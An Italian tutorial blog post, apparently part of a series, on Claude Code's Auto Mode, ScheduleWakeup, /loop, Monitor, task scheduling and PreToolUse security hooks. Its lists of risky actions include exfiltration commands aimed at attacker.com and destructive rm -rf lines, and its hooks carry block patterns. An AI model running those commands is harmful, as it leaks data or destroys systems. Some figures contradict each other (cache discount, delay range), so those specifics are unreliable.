Auto Mode, ScheduleWakeup, Monitor: Sviluppo Autonomo Sicuro
A marzo-aprile 2026, Claude Code introduce tre innovazioni rivoluzionarie che
trasformano il modo in cui gli sviluppatori lavorano con agenti AI: Auto Mode
(un classificatore che approva automaticamente le azioni sicure), ScheduleWakeup
(per orchestrare workflow asincroni su tempi lunghi), e Monitor tool (che streama
eventi di background in tempo reale). Insieme a TaskCreate, CronCreate e la nuova slash command
/loop, questi strumenti eliminano il "permission fatigue" senza sacrificare
la sicurezza. È sviluppo autonomo che funziona davvero.
In questo articolo della serie Claude, esploreremo come funzionano questi nuovi tool, quando usarli, come integrarli nei workflow e soprattutto come equilibrare l'autonomia dell'agente con il controllo umano. Scoprirai anche come configurare hook di sicurezza per bloccare azioni rischiose senza sacrificare la velocità di sviluppo.
Cosa Imparerai
- Cos'è Auto Mode e come il classificatore evaluta ogni azione automaticamente
- Differenza tra Auto Mode, YOLO mode e dangerously-skip-permissions
- ScheduleWakeup per workflow asincroni: cache TTL, delaySeconds, reason field
- La slash command
/loopself-pacing per polling intelligente - Monitor tool per watchers in background che non bloccano lo sviluppo
- TaskCreate, TaskOutput, TaskDelete per orchestrazione di task dipendenti
- CronCreate per schedule di task ricorrenti con cron syntax classico
- Hook di sicurezza per bloccare azioni pericolose in specifici contesti (produzione)
- Caso d'uso reale: agente CI/CD notturno completamente autonomo
- Quando NON usare Auto Mode (security-sensitive code, deployments produttivi)
Panoramica della Serie Completa
| # | Articolo | Focus |
|---|---|---|
| 1 | Claude come Partner Tecnico | Setup e primi passi |
| 2 | Contesto e Setup del Progetto | CLAUDE.md e configurazione |
| 3 | Ideazione e Requisiti | MVP e user personas |
| 4 | Architettura Backend e Frontend | Spring Boot e Angular |
| 5 | Struttura del Codice | Organizzazione e convenzioni |
| 6 | Prompt Engineering Avanzato | Tecniche avanzate |
| 7 | Testing e qualità | Strategie e generazione test |
| 8 | Documentazione Professionale | README, API, ADR |
| 9 | Deploy e DevOps | Docker, CI/CD, monitoring |
| 10 | Evoluzione e Manutenzione | Refactoring e scalabilità |
| 11 | Integrazione Progetto Reale | Claude Code in produzione |
| 12 | Claude Code CLI | Comandi e configurazione |
| 13 | Agent Skills | Capacità modulari |
| 14 | Subagenti Specializzati | Agenti con ruoli specifici |
| 15 | Hooks e Automazione | Event-driven workflows |
| 16 | Ralph Wiggum Method | Sviluppo guidato da test |
| 17 | BMAD Method | Gestione progetti strutturata |
| 18 | Orchestrazione Multi-Agente | Pipeline di agenti |
| 19 | Collaborative Work | Team e pair programming AI |
| 20 | Sicurezza e Best Practice | Hardening e compliance |
| 21 | Monitoring e Observability | Metriche e debugging |
| 22 | Prompt Management | Template e versionamento |
| 23 | Context Window Mastery | Gestione memoria e focus |
| 24 | MCP Protocol | Server e integrazioni custom |
| 25 | Computer Use | Automazione GUI (anteprima) |
| 26 | Auto Mode, ScheduleWakeup, Monitor (sei qui) | Sviluppo autonomo sicuro |
1. Auto Mode: Il Classificatore di Sicurezza
Il problema fondamentale del lavoro con agenti AI è il "permission fatigue":
l'agente chiede conferma per ogni operazione, anche le più banali (leggere un file, eseguire
un test, cambiare branch git). Molti sviluppatori finiscono per abilitare
--dangerously-skip-permissions, aumentando il rischio di azioni indesiderate.
Auto Mode (ricerca preview, marzo 2026, v2.1.83+) offre un middle ground: ogni tool call viene analizzato da un classificatore di sicurezza che decide automaticamente se è sicuro procedere o se richiede intervento umano.
Come Funziona Auto Mode
| Fase | Cosa Accade | Tempo |
|---|---|---|
| 1. User prompt | Scrivi il prompt e premi Enter | - |
| 2. Tool planning | Claude Code identifica quale tool usare (Read, Write, Bash) | ~100ms |
| 3. Security classification | Classificatore analizza il tool call (es. "rm -rf /" → BLOCKED, "npm test" → SAFE) | ~150-200ms |
| 4. Auto-approve safe | Se SAFE, esegui direttamente senza chiedere. Se RISKY, chiedi conferma | - |
| 5. Report result | Mostra output dell'operazione, prosegui al prossimo step | - |
Azioni Classificate come SAFE (Auto-Approved)
# Lettura file
Read(src/app/components/navbar.ts) # SAFE
Read(docs/architecture.md) # SAFE
# Comandi di build standard
Bash(npm run test) # SAFE
Bash(npm run build) # SAFE
Bash(mvn clean package) # SAFE
Bash(python -m pytest) # SAFE
# Comandi git di sola lettura
Bash(git status) # SAFE
Bash(git diff HEAD) # SAFE
Bash(git log --oneline -10) # SAFE
# Comandi git di commit
Bash(git add src/features/user-auth.ts) # SAFE (file specifico)
Bash(git commit -m "feat: add auth") # SAFE (messaggio chiaro)
# Scrittura di file non sensibili
Write(src/app/new-component.ts) # SAFE (se path non è .env, .key, secrets/)
Write(tests/user.spec.ts) # SAFE (file di test)
Azioni Classificate come RISKY (Richiedono Conferma)
# Comandi distruttivi
Bash(rm -rf src/) # RISKY - chiede conferma
Bash(git reset --hard HEAD~5) # RISKY - revert lossy
Bash(git push --force) # RISKY - rewrite history
# Accesso a file sensibili
Write(.env.prod) # RISKY - contiene secrets
Write(~/.ssh/id_rsa) # RISKY - private key
Write(database_credentials.json) # RISKY - confidential
# Operazioni di sistema privilegiate
Bash(sudo apt-get install *) # RISKY - privileged
Bash(sudo rm -rf /etc/*) # RISKY - system critical
Bash(chmod 777 *) # RISKY - permission escalation
# Exfiltrazione potenziale
Bash(curl -X POST https://attacker.com) # RISKY - data exfil
Bash(scp * user@attacker.com:/) # RISKY - copy to external
# Modifiche massicce non verificate
Write(package.json) # RISKY - dependency tree change
Write(pom.xml) # RISKY - build config
Bash(npm install -g unknown-package) # RISKY - supply chain
Come Abilitare Auto Mode
# Metodo 1: CLI flag (attuale per questa sessione)
claude --enable-auto-mode
# Metodo 2: Configurazione permanente (in ~/.claude/settings.json)
{
"permissions": {
"mode": "auto"
}
}
# Metodo 3: IDE (VS Code extension)
# 1. Apri la palette (Cmd/Ctrl+Shift+P)
# 2. Digita "Claude: Permission Mode"
# 3. Seleziona "Auto Mode"
# Desktop app
# Settings → Permissions → Mode: Auto
Auto Mode vs Altre Modalità di Permesso
| Modalità | Comportamento | Quando Usare | Rischio |
|---|---|---|---|
| Standard | Chiede conferma per ogni tool call | Ambienti sensibili, audit trail richiesto | Molto lento |
| Auto Mode | Classificatore decide automaticamente | Sviluppo veloce + sicurezza equilibrata | Basso (rare false negatives) |
| YOLO Mode | Nessuna conferma, esegue tutto | Prototyping rapido, ambienti sandbox | Alto (nessun controllo) |
| Skip Permissions | --dangerously-skip-permissions (legacy) |
Non usare in produzione | Critico (nessun controllo) |
Auto Mode è disponibile come research preview su Team plans, Enterprise e API (NO Pro). Modelli supportati: Sonnet 4.6, Opus 4.6 e 4.7. Il classificatore fa affidamento su model intrinsic knowledge della sicurezza; il team Anthropic monitora attentamente i false positives/negatives e aggiorna regolarmente.
2. ScheduleWakeup: Workflow Asincroni a Lungo Termine
Immagina uno scenario: vuoi che Claude Code monitorizzi una build in background mentre tu continui a scrivere codice. O vuoi che esegua un'analisi di codice ogni ora per rilevare problemi. O ancora, hai bisogno di un task che effettui polling ogni 5 minuti fino a quando una condizione non si verifica (es. deploy completato).
ScheduleWakeup (v2.1.83+) è una tool call che schedula l'esecuzione di un prompt in futuro, senza richiedere la tua presenza. A differenza dei timer semplici, ScheduleWakeup sfrutta l'Anthropic API cache (TTL 5 min) per costi e latenza ottimizzati.
Sintassi e Parametri
ScheduleWakeup(
delaySeconds: number, # 60-3600 (1 min - 1 ora)
reason: string, # Descrizione breve (es. "monitor build")
prompt: string # Testo verbatim da eseguire al wakeup
)
// Esempio 1: Monitor build con cache warm
ScheduleWakeup(
delaySeconds: 270, # 4.5 min - dentro la finestra cache (5 min)
reason: "Check build status and report",
prompt: "Esegui npm run build. Se fallisce, riporta gli errori. Se succede, riporta tempo totale."
)
// Esempio 2: Polling fino a deploy completato
ScheduleWakeup(
delaySeconds: 1800, # 30 min - cache miss, usa crediti normali
reason: "Check if EC2 instance is healthy",
prompt: "Esegui curl https://api.example.com/health. Se status è 200, deploy ok. Altrimenti, riprova tra 30 min."
)
// Esempio 3: Analisi nightly
ScheduleWakeup(
delaySeconds: 86400, # 1 giorno
reason: "Run security audit on codebase",
prompt: "@src/ Esegui analisi di sicurezza: verifica secrets hardcoded, dipendenze vulnerabili, XSS."
)
Cache Optimization Strategy
Anthropic Cache ha un TTL di 5 minuti. Ogni tool call entro questa finestra riusa il cache (30% sconto su input tokens). Pianificando strategicamente i delaySeconds, puoi risparmiare significativamente:
Strategia di Caching per ScheduleWakeup
| Delay | Cache Status | Cost | Use Case |
|---|---|---|---|
| 60-270 sec | HIT (stessa context window) | 70% sconto input | Monitor rapido (build, test, deploy status) |
| 300-600 sec | MISS (cache expired) | Costo standard | Polling di breve medio termine |
| 600-3600 sec | MISS (cache expired) | Costo standard | Task di lungo termine (notturno, giornaliero) |
| 86400+ sec | MISS | Costo standard | Task ricorrenti (usa CronCreate invece) |
# Iniziale (22:00 UTC)
> Voglio che alle 22:30 verifichi che il build di produzione sia completato.
> Se fallisce, crea un issue su GitHub con i log di errore.
> Se succede, invia un Slack message al team.
Claude esegue:
ScheduleWakeup(
delaySeconds: 1800, # 30 minuti
reason: "Check prod build completion",
prompt: "Esegui: curl -s https://ci.example.com/api/builds/latest
Se status: 'success', invia message Slack al #deployments.
Se status: 'failed', crea issue GitHub con stderr dai log."
)
# Output: "✓ Wakeup schedulato per 22:30 UTC. Ti notificherò il risultato."
# Alle 22:30, Claude Code si riattiva automaticamente, esegue il prompt,
# e mostra il risultato nella sessione / via notifica Telegram/Slack
3. /loop: Self-Pacing per Polling Intelligente
La nuova slash command /loop (v2.1.85+, 6 aprile 2026) è un wrapper
conveniente attorno a ScheduleWakeup che semplifica il polling ripetuto. A differenza
di un Bash loop semplice, /loop è non-blocking: il task
gira in background mentre tu continui a sviluppare.
Sintassi
/loop [--interval SEC] [--max-iterations N] [--until CONDITION]
# Esempio 1: Polling ogni 30 sec finché status = ready
/loop --interval 30 --max-iterations 10 --until "curl https://deploy.internal/status | grep ready"
Check if deployment is ready
# Esempio 2: Monitoraggio build ogni 60 sec (no until condition)
/loop --interval 60 --max-iterations 30
npm run build:watch. Report status ogni iteration.
# Esempio 3: Auto-interval (Claude decide il delay basato su task)
/loop
Monitora i test in esecuzione e riporta il coverage finale
# Output: "/loop task creato con ID #fs8a2x. Polling ogni 60 sec. Ferma con /loop-stop fs8a2x"
Quando ometti --interval, Claude usa self-pacing: analizza
il task, stima quanto tempo serve (es. build = 120 sec, polling = 30 sec) e sceglie
il delay ottimale. È intelligente senza essere overkill.
4. Monitor Tool: Background Watchers in Streaming
Diversamente da ScheduleWakeup (che si riattiva in futuro), Monitor (6 aprile 2026) è uno streaming tool che rimane attivo in background durante il tuo lavoro, streamando eventi in tempo reale. È perfetto per:
- Osservare file che cambiano durante il refactoring
- Tracciare esecuzione di test/build in tempo reale
- Monitorare metriche di sistema durante stress test
- Aggregare log da processi esterni (Docker, Kubernetes)
Firma e Utilizzo
Monitor(
command: string, # Comando da eseguire
eventFilter: string, # Regex o pattern per filtrare output
onEvent: (event: string) => void # Callback per ogni evento matchato
)
// Esempio 1: Monitor cambio file
Monitor(
command: "npm run watch",
eventFilter: "^\\[.+\\] compiled|error in",
onEvent: (event) => {
console.log("Compilation event:", event);
if (event.includes("error")) sendAlert();
}
)
// Esempio 2: Monitor container Docker
Monitor(
command: "docker logs -f myapp",
eventFilter: "ERROR|WARN|completed",
onEvent: (event) => {
if (event.startsWith("ERROR")) escalate();
}
)
// Esempio 3: Monitor test coverage
Monitor(
command: "npm run test:watch -- --coverage",
eventFilter: "PASS|FAIL|statements coverage",
onEvent: (event) => {
updateDashboard(event);
}
)
Differenza tra ScheduleWakeup, /loop e Monitor
| Tool | Blocca? | Streaming? | Quando Usare |
|---|---|---|---|
| ScheduleWakeup | No | No (wakeup discreto) | Task da eseguire una volta in futuro (build check 22:30) |
| /loop | No | No (polling discreto) | Polling ripetuto con condizione di stop (es. finché status = ready) |
| Monitor | No | Sì (real-time stream) | Osservazione continua di evento mentre lavori (file change, log stream) |
5. TaskCreate e CronCreate: Orchestrazione di Workflow Complessi
La family di task commands (10 marzo 2026, v2.1.76+) permette di creare, orchestrare e schedulare task come first-class citizen nel sistema. Sono strumenti potenti per:
- Delegare subtask a altri agenti o Claude stesso
- Gestire dipendenze tra task (task A attende output di task B)
- Schedulare task ricorrenti con cron syntax standard
- Tracciare stato e output di task passati
TaskCreate: Creazione di Task Dipendenti
TaskCreate(
title: string, # Nome breve del task
description: string, # Descrizione dettagliata
assignee?: string, # Default: Claude Code stesso
dependencies?: string[], # ID di task da attendere
priority?: "low" | "high", # Default: high
dueDate?: ISO8601 # Scadenza (opzionale)
)
// Esempio 1: Task sequenziale
task_a = TaskCreate(
title: "Analizza codebase",
description: "@src/ Esegui linting, type check, test coverage. Riporta vulnerabilità."
)
// task_a si esegue subito
task_b = TaskCreate(
title: "Fix vulnerabilità",
description: "Basato su task_a, correggi i problemi segnalati.",
dependencies: [task_a.id], // Attendi che task_a finisca
priority: "high"
)
// Esempio 2: Task paralleli con merge finale
task_review = TaskCreate(
title: "Code review",
description: "Esamina src/features/auth.ts",
priority: "high"
)
task_test = TaskCreate(
title: "Test coverage",
description: "Verifica copertura di tests/auth.spec.ts",
priority: "high"
)
task_report = TaskCreate(
title: "Genera report finale",
description: "Sintetizza i risultati di review e test",
dependencies: [task_review.id, task_test.id] // Attendi entrambi
)
CronCreate: Task Ricorrenti
CronCreate(
title: string,
cronExpression: string, # Standard cron: "0 2 * * 0" (domenica 2:00)
prompt: string # Task da eseguire
)
// Esempio 1: Analisi di sicurezza notturna
CronCreate(
title: "Nightly security audit",
cronExpression: "0 2 * * *", # Ogni giorno alle 2:00 AM UTC
prompt: "@src/ Esegui audit di sicurezza: secrets, dipendenze vulnerabili, XSS patterns. Invia report via Slack se trovati problemi."
)
// Esempio 2: Weekly code review
CronCreate(
title: "Weekly team code review",
cronExpression: "0 9 * * 1", # Lunedì alle 9:00 AM UTC
prompt: "Genera un report di code review della settimana: trend di quality, metriche di coverage, refactoring suggeriti."
)
// Esempio 3: Monthly cleanup
CronCreate(
title: "Monthly codebase cleanup",
cronExpression: "0 3 1 * *", # 1° del mese alle 3:00 AM UTC
prompt: "
1. Identifica dead code (unused imports, unused functions)
2. Rimuovi TODO comments vecchi (> 6 mesi)
3. Aggiorna dipendenze (npm update)
4. Rigenera lock file
5. Crea PR con i cambiamenti
"
)
// Esempio 4: Daily metrics gathering (ogni 6 ore)
CronCreate(
title: "Gather CI/CD metrics",
cronExpression: "0 */6 * * *", # Ogni 6 ore
prompt: "Raccogli metriche da CI: build success rate, avg compile time, test coverage trend. Aggiungi a Grafana dashboard."
)
Cron Syntax Reference (Standard Unix)
| Posizione | Significato | Valori |
|---|---|---|
| 1 | Minuti | 0-59 |
| 2 | Ore (UTC) | 0-23 |
| 3 | Giorno del mese | 1-31 |
| 4 | Mese | 1-12 |
| 5 | Giorno della settimana (0=domenica, 6=sabato) | 0-6 |
6. Hook di Sicurezza: PreToolUse per Bloccare Azioni Rischiose
Anche con Auto Mode e ScheduleWakeup, vuoi un ultimo livello di protezione per contesti ad alto rischio (produzione, database critici). Ecco come usare PreToolUse hooks per bloccare azioni pericolose prima che accadano.
Bug di Sicurezza Fix (Marzo 2026, v2.1.77)
Un bug importante identificato a marzo: allow rules potevano bypassare
deny rules di livello superiore. Fix: da v2.1.77+,
deny di qualsiasi livello prevalse sempre su allow di livelli inferiori.
Questo garantisce che le policy di sicurezza aziendali non possano essere aggirate.
Configurare Hook PreToolUse
{
"hooks": {
"preToolUse": [
{
"name": "block-production-deletes",
"trigger": {
"tool": "Bash",
"pattern": "rm -rf /opt/production.*|git reset --hard|docker rm -f prod.*"
},
"action": "block",
"message": "❌ Tentativo di eliminare dati di produzione. Operazione bloccata. Contatta DevOps."
},
{
"name": "block-secrets-write",
"trigger": {
"tool": "Write",
"pattern": "\\.env\\.prod|\\.key$|\\.pem$|credentials|secrets"
},
"action": "block",
"message": "❌ Tentativo di scrivere file sensibili. Usa environment variables o secret manager."
},
{
"name": "require-approval-sudo",
"trigger": {
"tool": "Bash",
"pattern": "sudo"
},
"action": "ask", // Chiedi conferma invece di bloccare
"message": "⚠️ Questa operazione richiede privilegi. Confermi? (y/n)"
},
{
"name": "log-database-queries",
"trigger": {
"tool": "Bash",
"pattern": "psql|mysql|mongo"
},
"action": "log", // Consenti ma registra nel log
"message": "📝 Database query logging attivato per audit trail."
}
]
}
}
// .claude/hooks.ts
import { PreToolUseHook } from "@anthropic-ai/claude-code";
export const securityHooks: PreToolUseHook[] = [
{
name: "production-safety-check",
async onBeforeToolUse(context) {
const { tool, args } = context;
// Blocca tool write su /opt/production
if (tool.name === "Write" && args.path.startsWith("/opt/production")) {
throw new Error(
"❌ Protezione attiva: file di produzione. " +
"Apporta modifiche su staging e usa CI/CD per il promote."
);
}
// Avvisa se rm non è scoped (es. rm -rf / è CRITICO)
if (tool.name === "Bash" && args.command.includes("rm -rf")) {
const isScoped = /rm -rf [a-zA-Z0-9_\-/.]+[^/]$/.test(args.command);
if (!isScoped) {
const confirmed = await askUserConfirmation(
"⚠️ Operazione rm ad alto rischio (non scoped). Molto pericoloso. Sei sicuro?"
);
if (!confirmed) throw new Error("Operazione cancellata dall'utente");
}
}
}
}
];
7. Caso d'Uso Reale: Agente CI/CD Notturno Completamente Autonomo
Immagina di voler eseguire un'analisi completa della base di codice ogni notte alle 2:00 AM: linting, test, copertura, sicurezza, dipendenze aggiornate, refactoring suggerito. Il tutto senza che tu debba rimanere sveglio o approvare ogni step.
Workflow Completo
// Configurazione: ~/.claude/settings.json + .claude/hooks.json
CronCreate(
title: "Nightly Code Analysis & Fixes",
cronExpression: "0 2 * * *", // Ogni notte alle 2:00 AM UTC
prompt: `
Esegui analisi completa della base di codice. Step sequenziali:
1. [LINTING] npm run lint --fix. Riporta quali file sono stati formattati.
2. [TYPE CHECK] npx tsc --noEmit. Se errori, esegui il fix se banale (type any → unknown).
3. [TEST] npm run test -- --coverage. Riporta coverage trend e test falliti.
4. [SECURITY] npm audit. Se vulnerabilità:
- Se fixable: npm audit fix
- Se non fixable: crea GitHub issue con link CVSS
5. [DEPENDENCY UPDATE] npm outdated. Se update minore/patch:
- Aggiorna
- Rigenera lock file
- Esegui test per verificare compatibilità
6. [REFACTORING SUGGESTION]
@src/ Identifica:
- Dead code (unused imports, functions)
- Code smells (function > 50 linee, cyclomatic complexity > 10)
- Type issues (any, unknown, implicit any)
Se trovati, suggerisci refactoring in commento PR
7. [FINAL REPORT]
Genera report strutturato con:
- ✅ Check passati
- ⚠️ Warning (code smell, outdated packages)
- ❌ Errori critici
Se tutti i check passano: invia Slack message al #dev-team
Se errori: crea GitHub issue e @mention owner
`
)
// Hook di sicurezza attivo:
// - Blocca git push --force
// - Richiede approvazione prima di npm install -g
// - Registra tutte le modifiche su audit log
Il risultato: ogni mattina trovi una base di codice pulita e aggiornata, senza intervento manuale. Il workflow è completamente autonomo grazie a:
- CronCreate per la schedule ricorrente
- Auto Mode per minimizzare le conferme sulle azioni sicure (fix, format)
- Hook di sicurezza per bloccare operazioni ad alto rischio
- TaskCreate con dipendenze per garantire sequenza logica (test prima di push)
8. Quando NON Usare Auto Mode
Auto Mode è potente, ma non è la soluzione per ogni contesto. Ecco quando disabilitare completamente e ritornare a standard mode (ogni operazione richiede conferma):
Contesti che Richiedono Standard Mode (Nessuna Automazione)
- Database produttivo: Nessun alter table, delete row, migration senza approvazione umana
- Deploy su produzione: Ogni push, merge, deployment richiede conferma esplicita
- Modifica file di configurazione critica: .env, secrets, policy files - confermazione obbligatoria
- Operazioni di massa non verificate: Find-replace globale, refactoring su 50+ file
- Accesso a dati sensibili: PII, finanze, dati clinici - audit trail completo
- Ambienti altamente regolati: Compliance HIPAA, PCI-DSS, GDPR - nessuna automazione
// .claude/settings.json - toggle per directory
{
"permissions": {
"mode": "auto" // Default global
},
"contextOverrides": [
{
"path": "infra/terraform/prod/**",
"permissions": {
"mode": "standard" // Override: prod infra richiede approvazione
}
},
{
"path": "src/features/**",
"permissions": {
"mode": "auto" // Standard: feature code con Auto Mode
}
}
]
}
9. Best Practice: Equilibrare Autonomia e Controllo
10 Regole d'Oro per Sviluppo Autonomo Sicuro
- Abilita Auto Mode solo in contesti sicuri: Development, staging, feature branch. Disabilita su main/prod.
- Usa hook di sicurezza come secondo strato: Auto Mode + hook = defense in depth.
- Testa una volta, automatizza milioni: Se è sicuro testarlo una volta, è sicuro programmarlo in CronCreate.
- Specificity over generality: Hook che blocca "rm -rf /opt/production" è meglio di un blocco globale "rm -rf".
- Audit trail sempre attivo: Registra ogni ScheduleWakeup, TaskCreate, Monitor che non sia banale (letture di file).
- Graceful degradation: Se un task autonomo fallisce, non deve propagare il failure (es. test fallisce → log, non crash).
- Human in the loop per decisioni: Auto Mode approva azioni di basso rischio, ma chiedi confirmazione per impatto alto (deployment).
- Monitor i costi: Troppi ScheduleWakeup/CronCreate = costi API alti. Consolida dove possibile.
- Documenta la logica autonoma: Se un agente fa qualcosa di notte, documentalo in un README affinché altri capiscono.
- Itera su feedback: Se Auto Mode blocca un'azione legittima (false positive), aggiorna il classificatore.
10. Conclusione: Il Futuro dello Sviluppo Autonomo
Auto Mode, ScheduleWakeup, Monitor, TaskCreate e CronCreate rappresentano un cambio di paradigma nello sviluppo software: dalla presenza costante dell'utente a una partnership dinamica dove il sistema autonomo lavora quando appropriato, ma richiede sempre il tuo controllo su decisioni critiche.
La sfida non è "rendere tutto automatico", ma piuttosto "automatizzare intelligentemente senza sacrificare sicurezza e controllo". I tool introdotti a marzo-aprile 2026 offrono esattamente questo: autonomia con guardrail.
Punti Chiave
- Auto Mode: Classificatore che approva azioni sicure automaticamente, blocca quelle rischiose
- ScheduleWakeup: Schedula task future con ottimizzazione cache Anthropic (5 min TTL)
- /loop: Polling intelligente non-blocking con self-pacing opzionale
- Monitor: Streaming di eventi in tempo reale per osservazione continua
- TaskCreate + CronCreate: Orchestrazione di workflow con dipendenze e schedule ricorrenti
- Hook di sicurezza: Defense in depth - PreToolUse per bloccare azioni pericolose
- Contesti di utilizzo: Sviluppo e staging con Auto Mode, produzione con standard mode + hook
Nel prossimo articolo esploreremo Computer Use: la capacità di Claude Code di controllare il mouse e la tastiera per automatizzare interazioni GUI. Dall'automazione di screenscraping al testing E2E, Computer Use apre nuove frontiere di automazione che oggi sembrerebbero impossibili.

Commenti
Caricamento commenti...
Accedi per commentare